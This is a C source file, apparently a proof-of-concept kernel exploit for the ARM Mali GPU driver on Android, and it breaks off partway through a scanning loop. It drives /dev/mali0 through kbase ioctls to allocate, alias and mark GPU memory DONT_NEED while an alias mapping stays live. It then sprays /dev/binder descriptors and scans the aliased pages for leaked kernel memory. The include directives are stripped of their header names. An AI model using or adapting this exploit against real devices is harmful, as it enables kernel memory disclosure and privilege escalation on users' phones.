#include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "mali.h" #define PAGE_SHIFT 12 #define ALLOC_SIZE 0xa0000000 #define WRITE_MAX 0x7ffff000 int main(){ fflush(stdin); fflush(stdout); struct kbase_ioctl_version_check data; data.major = 999; data.minor = 999; int fd = open("/dev/mali0", O_RDWR); if (fd == -1) { perror("Open mali0"); return -1; } if(ioctl(fd, KBASE_IOCTL_VERSION_CHECK, &data) < 0){ perror("ioctl failed and returned"); return -1; } printf("Version major,minor = %d,%d\n", data.major, data.minor); struct kbase_ioctl_set_flags flags; flags.create_flags = BASEP_CONTEXT_CREATE_KERNEL_FLAGS; if(ioctl(fd, KBASE_IOCTL_SET_FLAGS, &flags) < 0){ perror("ioctl failed and returned"); return -1; } void *mem_area = mmap(NULL, ALLOC_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, BASE_MEM_MAP_TRACKING_HANDLE ); if(mem_area == MAP_FAILED){ perror("mmap failed : "); return -1; } union kbase_ioctl_mem_alloc mem_alloc; mem_alloc.in.va_pages = ALLOC_SIZE >> PAGE_SHIFT; mem_alloc.in.commit_pages = ALLOC_SIZE >> PAGE_SHIFT; mem_alloc.in.flags = BASE_MEM_SAME_VA | BASE_MEM_PROT_CPU_RD | BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_CPU_WR | BASE_MEM_PROT_GPU_WR; if(ioctl(fd, KBASE_IOCTL_MEM_ALLOC, &mem_alloc) < 0){ perror("ioctl failed and returned"); return -1; } void *gpu_va = mmap(NULL, ALLOC_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, mem_alloc.out.gpu_va); if(gpu_va == MAP_FAILED){ perror("GPU_VA mmap failed: "); return -1; } printf("GPU_VA is : 0x%llx\n", (unsigned long long)gpu_va); union kbase_ioctl_mem_alias mem_alias; mem_alias.in.nents = 1; mem_alias.in.stride = ALLOC_SIZE >> PAGE_SHIFT; mem_alias.in.flags = BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_GPU_WR | BASE_MEM_PROT_CPU_RD; struct base_mem_aliasing_info aliasing_info; aliasing_info.handle.basep.handle = (__u64)gpu_va; aliasing_info.offset = 0x0; aliasing_info.length = ALLOC_SIZE >> PAGE_SHIFT; mem_alias.in.aliasing_info = (__u64)&aliasing_info; if(ioctl(fd, KBASE_IOCTL_MEM_ALIAS, &mem_alias) < 0){ perror("ioctl failed and returned"); return -1; } struct kbase_ioctl_mem_flags_change flags_change; flags_change.gpu_va = (__u64)gpu_va; flags_change.mask = BASE_MEM_FLAGS_MODIFIABLE | BASE_MEM_DONT_NEED; flags_change.flags = BASE_MEM_FLAGS_MODIFIABLE | BASE_MEM_DONT_NEED; if(ioctl(fd, KBASE_IOCTL_MEM_FLAGS_CHANGE, &flags_change) < 0){ perror("ioctl failed and returned"); return -1; } printf("flags_change is successful.\n"); void *alias_va = mmap(0, ALLOC_SIZE, PROT_READ, MAP_SHARED, fd, mem_alias.out.gpu_va); if(alias_va == MAP_FAILED){ perror("ALIAS_VA mmap failed: "); return -1; } printf("ALIAS_VA is : 0x%llx\n", (unsigned long long)alias_va); // Just do some operations... int stat = open("/proc/self/stat", O_RDONLY); void *dummy = mmap(NULL, 0x4000, PROT_READ | PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0); if(dummy == MAP_FAILED){ perror("dummy mmap "); return -1; } memset(dummy, 0x41, 0x4000); int fds[2]; pipe(fds); int binder_fds[100]; for(int i=0; i<100; i++) binder_fds[i] = open("/dev/binder", O_RDWR); printf("Looking for leaks...\n"); int vulnerable = 0; int found = 0; size_t iterate = ALLOC_SIZE/8; for(size_t i=0; i